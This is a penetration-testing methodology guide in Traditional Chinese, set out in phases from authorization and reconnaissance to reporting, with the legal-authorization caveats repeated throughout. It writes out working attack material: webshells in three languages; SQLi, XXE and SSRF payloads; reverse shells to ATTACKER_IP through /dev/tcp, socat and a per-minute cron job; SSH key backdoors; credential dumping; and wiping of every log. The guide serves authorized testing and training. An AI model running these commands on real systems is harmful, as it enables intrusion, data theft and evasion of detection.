# 前期準備階段 ## 🎯 階段目標 在進行任何技術操作前,**務必釐清授權、測試範圍與規範**,以確保合法與測試結果有效性。 --- ## ✅ 項目清單 - [ ] 確認測試是否取得合法授權(白箱/灰箱/黑箱) - [ ] 明確列出測試範圍(IP、Domain、子域名、網段) - [ ] 指定測試期間與工作時程(起訖日期、每日工作時段) - [ ] 是否允許破壞性測試(如 DoS、社交工程) - [ ] 明確風險控管機制(如誤觸生產系統的應對方式) - [ ] 決定測試人員與聯絡窗口 - [ ] 檢查法規與資安政策遵循(如 GDPR、資安責任歸屬) - [ ] 簽署法律文件:合約(Contract)、保密協議(NDA) --- ## 📄 文件樣板(可另附) | 文件名稱 | 說明 | |----------|------| | 滲透測試合約(Penetration Testing Agreement) | 詳列測試範圍、目標與法律保障 | | 保密協議 NDA(Non-Disclosure Agreement) | 確保測試中接觸的機敏資料不會外洩 | | 測試授權書(Authorization Letter) | 明文授權測試者可進行模擬攻擊 | --- ## 🧰 工具與資源 | 工具 | 用途 | |------|------| | Google 文件、Word | 撰寫合約草案與協議 | | PDF簽署工具(DocuSign、Adobe Sign) | 線上簽署與管理測試合約與 NDA | | 單位內部政策文件 | 確認現行資訊安全政策與例外規範 | --- ## ⚠️ 注意事項 - 🔒 未經授權測試 = 違法入侵行為(可能觸犯刑法或資安法) - 🚫 即使是灰箱測試,也要界定資訊來源與限制範圍 - 🧯 測試期間應有緊急聯絡窗口(處理誤報、誤觸、宕機) --- ## 📝 建議補充內容 - 測試目的(例如:合規性檢查、紅隊演練、系統安全健檢) - 報告交付格式與截止時間 - 測試完成後是否需要協助修補與再測 --- # 資訊蒐集(Reconnaissance) ## 🎯 階段目標 蒐集目標的公開資訊,以建立完整攻擊面。資訊來源包含 DNS、Email、IP、子網域、服務標頭等。 --- ## 📂 分類工具與任務列表 ### 🔸 DNS 查詢與域名分析 | 工具 | 說明 | 常用指令 | |------|------|----------| | `nslookup` | 查詢 DNS 記錄 | `nslookup target.com` | | `dig` | 查詢域名解析資訊(比 nslookup 更彈性) | `dig target.com any`<br>`dig axfr @ns1.target.com target.com`(Zone Transfer) | | `dnsrecon` | DNS 掃描與記錄蒐集 | `dnsrecon -d target.com -t std`<br>`dnsrecon -d target.com -a`(AXFR 檢查) | --- ### 🔸 Email / Domain 資訊收集 | 工具 | 說明 | 常用指令 | |------|------|----------| | `theHarvester` | 從搜尋引擎/資料庫抓取 Email、帳號、子域名 | `theHarvester -d target.com -b google`<br>`theHarvester -d target.com -b all` | | `hunter.io` | 搜尋域名下的 Email(需註冊) | https://hunter.io 域名搜尋 | | `emailrep.io` | 查詢 Email 風險(如過往濫用記錄) | `curl https://emailrep.io/example@example.com` | --- ### 🔸 子域名蒐集 / DNS 枚舉 | 工具 | 說明 | 常用指令 | |------|------|----------| | `amass` | 強大子域名與關聯資源發掘工具 | `amass enum -d target.com`<br>`amass enum -d target.com -brute -w wordlist.txt` | | `subfinder` | 輕量快速子域名收集工具(Passive) | `subfinder -d target.com` | 🔧 **進階搭配建議:** - 將結果導入 `ffuf` 作進一步子域名暴力爆破 - 使用 `httpx` 掃描收集到的子域名存活情況: `subfinder -d target.com | httpx -status-code -title` --- ### 🔸 搜尋引擎與 OSINT 工具 | 工具 / 技術 | 說明 | 範例查詢語法 | |-------------|------|----------------| | **Google Dork** | 利用 Google 搜索語法挖掘目標資源 | `site:target.com filetype:pdf`<br>`site:target.com inurl:admin`<br>`intitle:index.of` | | **Shodan** | 查詢公開設備與其 port/banner | `org:"Target Corp"`<br>`hostname:"target.com"` | | **Censys** | 類似 Shodan,可查憑證與服務指紋 | https://search.censys.io | --- ## 📌 額外建議 - 建議將所有收集資料整合為一份資產清單,格式如下: ```text [Domain] target.com [IP Range] 1.2.3.0/24 [Subdomains] - admin.target.com - mail.target.com - dev.target.com [Emails] - admin@target.com - john.doe@target.com ``` # 掃描與列舉(Enumeration) ## 🎯 階段目標 找出目標系統對外暴露的服務、應用、CMS,為後續漏洞利用做準備。此階段為「主動」行為,須注意流量與合法性。 --- ## 🔸 3.1 服務掃描與 Port 掃描 ### 🛠️ 工具:`nmap` | 功能 | 指令範例 | 備註 | |------|----------|------| | 基本掃描 | `nmap target.com` | 掃描預設 1000 個 port | | 全部 port 掃描 | `nmap -p- target.com` | 掃描 1-65535 所有 port | | 搭配服務版本分析 | `nmap -sV -sC -T4 target.com` | -sV: 版本識別<br>-sC: 預設腳本 | | 指定輸出格式 | `nmap -oA output target.com` | 產出 .nmap/.xml/.gnmap | --- ### 🛠️ 工具:`masscan` | 功能 | 指令範例 | 備註 | |------|----------|------| | 高速 port 掃描 | `masscan -p1-65535 target.com --rate=1000` | 扫描速度極快,但無法識別服務版本 | | 指定特定 port | `masscan -p80,443,22 1.2.3.4/24` | 可對整個網段爆掃 | --- ## 🔸 3.2 Web 探索與目錄爆破 ### 🛠️ 工具:`ffuf` | 功能 | 指令範例 | 備註 | |------|----------|------| | 路徑爆破 | `ffuf -u http://target.com/FUZZ -w wordlist.txt` | 替換 `FUZZ` 為字典內容 | | 搭配後綴 | `ffuf -u http://target.com/FUZZ -w words.txt -e .php,.bak,.zip` | 找備份、程式等文件 | | 過濾回應碼 | `-fc 404` | 過濾 404 頁面,保留有效頁面 | | 頁面大小過濾 | `-fs 1234` | 過濾特定大小的頁面(常用於排除錯誤頁) | --- ### 🛠️ 工具:`dirsearch` | 功能 | 指令範例 | 備註 | |------|----------|------| | 基本用法 | `python3 dirsearch.py -u http://target.com -e php,html -x 403,404` | 自動化字典掃描工具 | | 加快速度 | `-t 50` | 指定 thread 數量 | --- ### 🛠️ 工具:`gobuster` | 功能 | 指令範例 | 備註 | |------|----------|------| | 爆破路徑 | `gobuster dir -u http://target.com -w wordlist.txt` | 精簡快速目錄爆破工具 | | 加副檔名 | `-x php,html,txt` | 掃描特定副檔名頁面 | --- ## 🔸 3.3 Web 指紋分析與服務辨識 ### 🛠️ 工具:`wafw00f` | 功能 | 指令範例 | 備註 | |------|----------|------| | 檢測網站是否有 WAF | `wafw00f http://target.com` | 能辨識常見 WAF (如 Cloudflare, AWS WAF) | --- ### 🛠️ 工具:`httprobe` | 功能 | 指令範例 | 備註 | |------|----------|------| | 檢查子網存活情況 | `cat subdomains.txt | httprobe` | 回傳 status 200/302 的存活網頁 | --- ### 🛠️ 工具:`whatweb` | 功能 | 指令範例 | 備註 | |------|----------|------| | 指紋與框架分析 | `whatweb http://target.com` | 可辨識 Web Server、框架、語言、CMS | --- ## 🔸 3.4 CMS 掃描與弱點識別 ### 🛠️ 工具:`wpscan`(WordPress 專用) | 功能 | 指令範例 | 備註 | |------|----------|------| | 基本掃描 | `wpscan --url http://target.com` | 掃描 WordPress 核心、外掛、主題版本 | | 弱點查詢 | `--api-token YOUR_TOKEN` | 搭配 WPVulnDB API 使用 | --- ### 🛠️ 工具:`joomscan`(Joomla 專用) | 功能 | 指令範例 | 備註 | |------|----------|------| | Joomla 弱點掃描 | `joomscan -u http://target.com` | 基本 Joomla CMS 掃描 | --- ## 📌 小技巧與建議流程 1. 🔎 先用 `nmap`/`masscan` 掃描出開放服務 2. 🌐 對 HTTP/HTTPS 服務使用 `ffuf` 或 `dirsearch` 找出目錄 3. 🧠 使用 `whatweb` + `wafw00f` 判斷技術棧與防禦 4. 🏗️ 若為 CMS,使用對應工具(如 `wpscan`)進行弱點分析 5. 📋 將所有結果記錄在報告中,含回應碼、頁面大小、路徑與指紋資訊 # 漏洞分析(Vulnerability Analysis) ## 🎯 階段目標 根據前一階段列舉出的服務與應用,進行自動化與手動弱點掃描與驗證,找出可利用的漏洞並評估其風險。 --- ## 🔸 4.1 自動掃描工具 ### 🛠️ ZAP (Zed Attack Proxy) ZAP 是 OWASP 推出的 Web 弱點掃描工具,支援被動與主動掃描,可搭配瀏覽器 Proxy 模式。 - 啟動 GUI 版: ``` zap.sh ``` - 常見功能: - 被動掃描:自動分析流量中的弱點(Cookie 安全性、錯誤回應等) - 主動掃描:針對目標網站進行 SQLi、XSS 等測試 - 使用爬蟲抓取網站頁面並自動發送測試請求 --- ### 🛠️ Nikto Nikto 是 CLI 網站漏洞掃描工具,能發現: - 危險文件 - 預設目錄 - 伺服器設定錯誤 - 基本掃描: ``` nikto -h http://target.com ``` --- ### 🛠️ Nessus Nessus 是商用弱點掃描工具,支援多平台漏洞掃描(Web、系統、裝置) - Web UI 操作 - 可排程自動掃描與報告產出 - 檢測數千個已知 CVE 弱點 - 建議搭配帳密登入 Nessus 專業版或社群版 --- ### 🛠️ OpenVAS (Greenbone) - 開源弱點掃描平台 - 支援大量協議(HTTP, SMB, FTP, SSH 等) - 掃描流程複雜度中等,適合內網大型測試使用 --- ## 🔸 4.2 弱點驗證與漏洞資料庫查詢 ### 🛠️ Searchsploit 搭配 Exploit-DB 本地資料庫查詢 Exploit 程式碼或 POC。 - 搜尋關鍵字: ``` searchsploit apache 2.4 ``` - 顯示 Exploit 路徑: ``` searchsploit -p apache 2.4 ``` > Tip: 可搭配 `nmap` 指紋分析結果搜尋版本號進行驗證 --- ### 🌐 Exploit-DB - 網站:https://www.exploit-db.com - 提供大量 CVE 與公開 Exploit,支援關鍵字、版本、平台查詢 --- ### 🛠️ CVE 資訊查詢 - 國際漏洞編號資料庫(Common Vulnerabilities and Exposures) - 查詢網站:https://cve.mitre.org 或 https://nvd.nist.gov --- ### 🛠️ Metasploit Framework 專業漏洞利用平台,內含大量 exploit、payload、post modules。 - 啟動 msfconsole: ``` msfconsole ``` - 基本流程: ``` search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS target_ip set PAYLOAD cmd/unix/interact exploit ``` --- ## 🔸 4.3 自建 Payload 與自訂漏洞測試 當自動掃描未能涵蓋特殊情境或特殊輸入點時,可自行撰寫請求或腳本測試。 ### 範例:手動測試 SQLi ```http GET /product?id=1' OR '1'='1 HTTP/1.1 Host: target.com ``` ### 範例:Python 自訂測試腳本(XSS) ```python import requests url = "http://target.com/search" payload = "<script>alert('xss')</script>" r = requests.get(url, params={"q": payload}) print(r.text) ``` --- ## 📌 小技巧與建議流程 1. 使用 `ZAP` 或 `Nikto` 初步找出明顯弱點 2. 搭配 `nmap -sV` 結果到 `searchsploit` 查找已知漏洞 3. 對已知漏洞進行 `Metasploit` 測試(若存在 exploit) 4. 對特定輸入點進行自訂 payload 測試(例如:自建表單、Header、Cookie) --- ## ⚠️ 注意事項 - 自動化工具可能誤報,需人工驗證 - 請勿在未授權的目標使用漏洞利用模組 - 自建 Payload 測試時避免破壞性指令(如 `rm -rf /`) - 部分 Web App 存在 WAF,建議搭配 Burp Repeater 手動調整 headers/bypass --- # 利用(Exploitation) ## 🎯 階段目標 根據已發現的漏洞,實際進行漏洞利用操作以取得系統控制權、敏感資料或登入權限。此階段需謹慎控制範圍,避免造成系統損壞。 --- ## 🔸 5.1 SQL Injection 利用 ### 🛠️ 工具:`sqlmap` 自動化 SQL Injection 掃描與資料庫利用工具。 - 基本偵測: ``` sqlmap -u "http://target.com/item?id=1" --batch ``` - 指定資料庫列出: ``` sqlmap -u "http://target.com/item?id=1" --dbs ``` - 列出資料表: ``` sqlmap -u "http://target.com/item?id=1" -D target_db --tables ``` - Dump 資料表資料: ``` sqlmap -u "http://target.com/item?id=1" -D target_db -T users --dump ``` - Cookie 參數注入: ``` sqlmap -u "http://target.com/" --cookie="session=abc123" --batch ``` --- ## 🔸 5.2 File Upload / Remote Code Execution (RCE) ### 🛠️ 工具:`Burp Repeater` - 用於測試上傳漏洞、參數繞過、MIME 類型偽造。 - 範例繞過: - 更改 Content-Type:`image/jpeg` ➜ `application/x-php` - 增加副檔名繞過:`shell.php.jpg` ### 🛠️ 工具:`curl` - 送出上傳請求: ``` curl -F "file=@shell.php" http://target.com/upload.php ``` - 呼叫 WebShell: ``` curl http://target.com/uploads/shell.php?cmd=id ``` ### 🛠️ 工具:`python3 -m http.server` - 啟動臨時靜態檔案伺服器,配合目標進行反彈 shell 或下載 exploit: ``` python3 -m http.server 8000 ``` --- ## 🔸 5.3 建立 WebShell 可利用成功的上傳功能寫入 WebShell。 ### 範例 `.php` WebShell: ```php <?php system($_GET['cmd']); ?> ``` - 呼叫方式: ``` http://target.com/uploads/shell.php?cmd=whoami ``` ### 範例 `.jsp` WebShell: ```jsp <% if(request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); java.io.InputStream in = p.getInputStream(); int a = -1; while((a=in.read())!=-1) out.print((char)a); } %> ``` ### 範例 `.aspx` WebShell: ```aspx <%@ Page Language="C#" %> <% string cmd = Request["cmd"]; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = "/c " + cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); Response.Write(proc.StandardOutput.ReadToEnd()); %> ``` --- ## 🔸 5.4 SSRF / XXE / SSTI 手動驗證 ### SSRF(Server Side Request Forgery) - 測試 payload: ``` http://127.0.0.1:80 http://169.254.169.254/latest/meta-data/ ``` - 手動測試參數位置(如 image URL 上傳): ``` POST /fetch url=http://127.0.0.1:8080/admin ``` ### XXE(XML External Entity) - XXE Payload 範例: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root> ``` - 使用場景:XML 請求處理 API(如 SOAP) ### SSTI(Server-Side Template Injection) - 常見測試語法(依模板引擎不同而異): | 模板引擎 | Payload | |----------|---------| | Jinja2 (Python) | `{{7*7}}` → 回傳 49 | | Twig (PHP) | `{{7*7}}` | | Velocity | `#set($x=7*7) $x` | - 插入位置:URL 參數、表單欄位、Header(如 User-Agent) --- ## 📌 小技巧與建議流程 1. 若可疑點為輸入欄位,先用 `Burp` 或 `curl` 嘗試注入 payload 2. 若成功上傳 WebShell,利用 `curl` 或瀏覽器控制 shell 3. 對於需繞過檢查的參數,進行 MIME 類型繞過或雙副檔名技巧 4. 使用反向連線搭配 `nc` 或 `python -c` 回傳 shell --- ## ⚠️ 注意事項 - WebShell 或 RCE 操作具破壞性,應控制在授權範圍內使用 - SSRF 與 XXE 攻擊若可影響內網,應評估橫向風險 - 請對 Payload 加以編碼處理避免被 WAF 阻擋 --- # 權限提升(Privilege Escalation) ## 🎯 階段目標 當成功取得一般使用者權限後,透過本地漏洞、錯誤設定、憑證暴露等方式,提升為更高權限(如 root 或系統管理員)。 --- ## 🔸 6.1 本機漏洞檢查工具 ### 🛠️ linux-exploit-suggester Linux 權限提升漏洞建議工具,根據系統版本判斷可能可用的提權漏洞。 - 使用方式: ``` wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh ``` - 可列出可利用的 kernel 漏洞、建議 exploit 模組。 --- ### 🛠️ winPEAS Windows 權限提升資訊收集工具(PowerShell/EXE 版本皆有)。 - 使用方式(在目標主機執行): ``` .\winPEASx64.exe ``` - 掃描內容包括: - 安裝的軟體與版本 - 自動執行程式(AutoRuns) - Weak Service Permission - Credential / Token / PATH Hijacking --- ## 🔸 6.2 錯誤設定提權(Misconfiguration) ### 🛠️ sudo 權限提權 - 檢查可執行指令: ``` sudo -l ``` - 若出現無密碼執行某指令,可參考 `GTFOBins` 利用該程式提權: 範例: ``` sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")' ``` ### 🛠️ Cron Job Injection - 檢查定時任務排程: ``` cat /etc/crontab ls -l /etc/cron.* ``` - 若某排程執行路徑可寫入,即可插入惡意命令執行 root 權限程式。 ### 🛠️ setuid 權限程式 - 搜尋擁有 setuid 權限的檔案: ``` find / -perm -4000 -type f 2>/dev/null ``` - 常見可被濫用的程式(參考 `GTFOBins`): - `/usr/bin/vim` - `/usr/bin/nmap` - `/usr/bin/find` --- ## 🔸 6.3 密碼重用與憑證搜查 ### 🔍 搜尋 PEM 憑證或私鑰 - 搜尋所有 `.pem` 檔案: ``` find / -name "*.pem" 2>/dev/null ``` - 若找到 `.pem`,可搭配 `ssh` 嘗試登入: ``` ssh -i id_rsa user@localhost ``` ### 🔍 搜尋敏感關鍵字(如密碼) - 搜尋含有 "password" 關鍵字的文字檔: ``` grep -r "password" /home 2>/dev/null ``` - 檢查 `.bash_history`、`.mysql_history` 等歷史記錄檔: ``` cat ~/.bash_history cat ~/.mysql_history ``` --- ## 📌 小技巧與建議流程 1. 登入目標主機後,第一步先檢查 `sudo -l` 權限與 `whoami` 2. 收集系統版本資訊(`uname -a`, `cat /etc/*release*`),搭配 `linux-exploit-suggester` 驗證 3. 檢查可寫入路徑與可執行程式(如定時任務、setuid) 4. 搜索機敏檔案(如憑證、設定檔、密碼明文) --- ## ⚠️ 注意事項 - 提權操作風險高,應在實驗或授權環境中操作 - 使用 `sudo -l` 發現可執行指令時,需比對版本與 `GTFOBins` 中可利用的提權方法 - 搜尋敏感資訊時應避免大規模誤刪或誤執行命令 --- # 維持存取(Persistence) ## 🎯 階段目標 在取得目標系統控制權後,建立持久性的存取方式,以便在後續持續訪問系統,不需重新入侵。此階段僅建議於授權紅隊演練或特定滲透測試範圍中進行。 --- ## 🔸 7.1 加入 SSH 公鑰 可將攻擊者的公鑰寫入目標使用者的 `~/.ssh/authorized_keys` 中,以便未來免密碼登入。 ### 步驟: 1. 確保目標使用者目錄中存在 `.ssh` 資料夾: ``` mkdir -p ~/.ssh chmod 700 ~/.ssh ``` 2. 將攻擊者的公鑰寫入: ``` echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys ``` 3. 測試登入(從攻擊端): ``` ssh -i id_rsa user@target_ip ``` --- ## 🔸 7.2 建立反彈 shell cronjob 利用目標主機上的排程任務(cron)定期執行反彈連線指令。 ### 建立 cronjob: 1. 編輯 crontab: ``` crontab -e ``` 2. 加入以下內容(每分鐘執行一次): ```cron * * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' ``` 3. 攻擊端使用 netcat 等待連線: ``` nc -lvnp PORT ``` --- ## 🔸 7.3 使用 netcat/socat 維持存取 ### 🛠️ netcat(nc) 建立反彈 shell: ```bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 ``` 目標主機端執行上述指令,攻擊端使用: ```bash nc -lvnp PORT ``` ### 🛠️ socat 反向連線方式(雙向傳輸更穩定): #### 攻擊端監聽: ```bash socat TCP-LISTEN:PORT,reuseaddr,fork EXEC:/bin/bash ``` #### 目標主機反彈連線: ```bash socat TCP:ATTACKER_IP:PORT EXEC:/bin/bash ``` --- ## 📌 小技巧與建議流程 - 使用 `~/.ssh/authorized_keys` 是最穩定的持久存取方式 - 建議結合自動化反彈 shell(cronjob)以應對系統重啟 - 搭配 `nohup`, `& disown`, `screen` 或 `tmux` 可讓 shell 在背景長時間運作 - 若可持續存取,可於提權後將所有持久機制設為 root 層級 --- ## ⚠️ 注意事項 - 僅應於紅隊或合法授權範圍中使用,切勿於實際環境建立後門 - cronjob 可能被系統監控工具發現,建議設定合理排程或加密 payload - 維持存取可能違反合約條款,請與客戶確認是否允許此階段行為 --- # 橫向移動(Lateral Movement) ## 🎯 階段目標 在成功取得一台主機的控制權後,進一步探索與入侵同一內網中的其他設備與資源,擴大影響範圍。此階段常用於紅隊演練、企業內網滲透。 --- ## 🔸 8.1 使用工具進行內部資源存取 ### 🛠️ smbclient 列出 SMB 分享資料夾與內容: - 列出共享: ``` smbclient -L //target_ip -U guest ``` - 連接共享: ``` smbclient //target_ip/share_name -U guest ``` - 下載檔案: ``` get filename.txt ``` --- ### 🛠️ rpcclient 查詢 Windows 系統上的 RPC 資訊: - 建立連線: ``` rpcclient -U "" target_ip ``` - 查詢帳號與群組: ``` enumdomusers enumalsgroups builtin queryuser RID ``` --- ### 🛠️ crackmapexec(CME) 整合性內網橫移工具,支援 SMB、WinRM、RDP、LDAP 等協定。 - 掃描 SMB 資訊: ``` crackmapexec smb 192.168.1.0/24 ``` - 驗證帳密(或 hash): ``` crackmapexec smb 192.168.1.0/24 -u admin -p password123 ``` - 查看登入使用者: ``` crackmapexec smb 192.168.1.0/24 -u user -p pass --users ``` --- ### 🛠️ BloodHound 用於收集與分析 Active Directory 中的權限與圖譜關係,進行攻擊路徑分析。 #### 資料收集工具(SharpHound): - Windows 系統執行: ``` SharpHound.exe -c All ``` #### 分析工具: - 將結果匯入 BloodHound GUI 應用程式,透過圖形化介面分析: - 找出可用的提權路徑(如 AdminTo, HasSession, GenericWrite 等) - 視覺化權限關係圖與攻擊路徑建議 --- ## 🔸 8.2 掃描內網裝置與存活主機 ### 🛠️ nmap ping 掃描 - 掃描整個內網的存活主機: ``` nmap -sP 192.168.1.0/24 ``` --- ### 🛠️ arp-scan - 掃描區網 ARP 對應(需在 LAN 環境): ``` arp-scan --interface=eth0 192.168.1.0/24 ``` --- ### 🛠️ ping sweep(Linux 簡易腳本) ```bash for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip | grep "64 bytes" & done ``` --- ## 🔸 8.3 Kerberos 攻擊技術 ### 🛠️ impacket 工具集 #### GetNPUsers(AS-REP Roasting): - 無需登入即可暴力破解弱密碼帳號(需設定 DONT_REQUIRE_PREAUTH): ``` GetNPUsers.py DOMAIN/ -no-pass -usersfile users.txt -dc-ip x.x.x.x ``` #### secretsdump(從機器中提取帳密 hash): ``` secretsdump.py DOMAIN/user:pass@target_ip ``` --- ### 🛠️ kerbrute 暴力破解 Kerberos 使用者名稱(用於獲得 AS-REP 攻擊對象): - 使用方式: ``` kerbrute userenum --dc target_ip -d domain.local users.txt ``` --- ### 🛠️ Rubeus 適用於 Windows 環境的 Kerberos 攻擊工具。 - TGT/Dumping/Overpass-the-Hash/AS-REP/Golden Ticket 範例 - 執行 AS-REP Roasting: ``` Rubeus.exe asreproast ``` --- ## 📌 小技巧與建議流程 1. 取得初始機器控制權後先探索內網(nmap、arp-scan) 2. 利用 smbclient / rpcclient / CME 查找可利用資源與帳號 3. 若目標為 AD 環境,使用 BloodHound 視覺化攻擊路徑 4. 對 Kerberos 進行帳號暴力破解與票證導出分析 5. 搭配 `mimikatz`、`impacket` 進行 hash 轉換與橫移 --- ## ⚠️ 注意事項 - 在內網環境操作請控制頻率與封包量,避免觸發 SIEM 警示 - Kerberos 票證攻擊需確認目標 AD 設定允許(如未開啟預認證) - 建議於測試環境實作完整流程,熟悉攻擊鏈工具搭配 --- # 清除痕跡(Covering Tracks) ## 🎯 階段目標 在完成任務後,刪除操作紀錄與工具痕跡,以避免被系統管理者發現滲透行為。此階段僅適用於紅隊演練或特定授權測試,**嚴禁用於未經授權的非法行為**。 --- ## 🔸 9.1 一般操作歷史清除 ### 🛠️ 清除 shell 操作紀錄 - 清除目前 session 的 history 記錄: ``` history -c ``` - 清除 history 檔案內容: ``` cat /dev/null > ~/.bash_history ``` - 停用歷史紀錄暫存: ``` unset HISTFILE ``` - 立即關閉 session 以防止歷史自動寫入: ``` exit ``` --- ## 🔸 9.2 刪除工具與檔案 - 刪除上傳工具(如 exploit 腳本、webshell): ``` rm -f /tmp/exploit.py rm -f /var/www/html/shell.php ``` - 移除反彈 shell 排程: ``` crontab -r ``` - 刪除攻擊者加入的 SSH 公鑰: ``` rm ~/.ssh/authorized_keys ``` --- ## 🔸 9.3 系統日誌清除 ### 🛠️ 常見日誌檔案(Linux): | 檔案路徑 | 說明 | |----------|------| | `/var/log/auth.log` | 登入與 sudo 操作紀錄 | | `/var/log/syslog` | 系統綜合日誌 | | `/var/log/messages` | 系統核心與一般事件 | | `/var/log/secure` | RedHat/CentOS 系統安全紀錄 | | `~/.bash_history` | 使用者的命令歷史紀錄 | ### 🧨 清除方法(需 root 權限): - 使用 `echo` 或 `truncate`: ``` echo "" > /var/log/auth.log truncate -s 0 /var/log/syslog ``` - 遍歷並清空所有 log 檔: ``` find /var/log -type f -exec truncate -s 0 {} \; ``` --- ## 🔸 9.4 進階痕跡移除技巧 - 刪除 shell 快取與 session 資料夾: ``` rm -rf /root/.cache rm -rf /tmp/* ``` - 覆寫檔案刪除(防止復原): ``` shred -u sensitive_file.txt ``` --- ## ⚠️ 注意事項 - 清除痕跡行為具備高度敏感性,應僅於 **授權紅隊演練或合法測試** 中操作 - 刪除系統 log 可能觸發監控機制(如 SIEM),需謹慎操作 - 某些系統設有 immutable 屬性(如 AIDE、auditd),可能無法直接刪除 log --- ## 📌 小技巧與建議流程 1. 測試完成後立即清除敏感 payload 與腳本 2. 關閉 bash history 並覆寫歷史檔案 3. 定期檢查是否殘留攻擊工具與後門程式 4. 使用 `find` 或 `lsof` 搜索可疑檔案與開啟連線狀態 --- # 報告撰寫(Reporting) ## 🎯 階段目標 將滲透測試過程中發現的漏洞、攻擊流程、風險等資訊整理成報告,提供給管理單位進行風險評估與修補。報告應具備技術清晰度與管理層可理解性。 --- ## 🔸 10.1 報告內容結構 ### 📌 報告應包含以下項目: 1. **封面與說明** - 專案名稱 - 測試期間與範圍 - 測試團隊聯絡資訊 2. **摘要** - 測試目的 - 總體風險概況 - 發現項目統計(依風險等級分類) 3. **測試方法** - 測試工具與技術說明(如:nmap、sqlmap、Burp) - 測試類型(黑箱、灰箱、白箱) 4. **漏洞細節(逐項列出)** - 漏洞名稱 - 嚴重程度(可用 CVSS v3 評分) - CVE 編號(若有) - 攻擊步驟(含實際 payload 與命令) - 螢幕截圖或 log 證據 - 潛在影響 - 修補建議 5. **結論與建議** - 高風險項目優先修補清單 - 政策建議(如強化 WAF、密碼策略、權限控管) - 是否需進行重新測試驗證 --- ## 🔸 10.2 常用格式與工具 ### 🖋️ 撰寫格式 - 建議使用 **Markdown** 撰寫,搭配版本控管(如 Git) - 輸出成 **PDF** 格式以供正式交付 ### 📁 工具推薦 | 工具 | 用途 | |------|------| | VS Code / Obsidian | Markdown 編輯 | | Pandoc | Markdown 轉 PDF | | Typora | WYSIWYG Markdown 編輯與匯出 PDF | | GitBook / HackMD | 線上協作與產出文件 | --- ## 🔸 10.3 CVSS 嚴重程度分級標準(v3) | CVSS 分數 | 嚴重程度等級 | |-----------|--------------| | 0.0 | 無風險 | | 0.1 – 3.9 | 低(Low) | | 4.0 – 6.9 | 中(Medium) | | 7.0 – 8.9 | 高(High) | | 9.0 – 10.0 | 危急(Critical) | CVSS 計分工具: - https://www.first.org/cvss/calculator/3.1 --- ## 🔸 10.4 漏洞報告範例模板(Markdown) ```markdown ## 漏洞名稱:SQL Injection - **目標系統**:http://target.com/item?id= - **嚴重程度**:高(CVSS 8.1) - **CVE 編號**:CVE-2021-44228(如有) - **影響描述**: 攻擊者可透過注入 SQL 指令查詢資料庫、取得帳號密碼,或進行未授權資料修改。 ### 攻擊步驟: 1. 使用 Burp 攔截請求,將參數變更為 `' OR 1=1--` 2. 使用 sqlmap 自動化確認並導出資料: ``` sqlmap -u "http://target.com/item?id=1" --dump ``` 3. 成功取得帳號清單與密碼 hash ### 證據截圖: (插入截圖或 log 段落) ### 修補建議: - 使用預備語句(Prepared Statements)避免 SQL 注入 - 避免拼接未驗證的輸入 - 對所有輸入資料進行嚴格檢查與過濾 ``` --- ## 📌 小技巧與建議流程 1. 每次測試過程即時記錄操作命令與觀察結果 2. 避免過度技術術語,需讓非技術管理者可理解 3. 提出「可執行」的修補建議,非僅描述問題 4. 可將報告區分為「技術版」與「管理摘要版」 --- ## ⚠️ 注意事項 - 報告應經雙重確認,避免誤報與遺漏 - 請勿在報告中公開敏感資料(如密碼明文) - 圖片需遮蔽使用者個資與敏感系統名稱 - 若為合規測試(如 ISO 27001、PCI-DSS),需對應合規項目 ---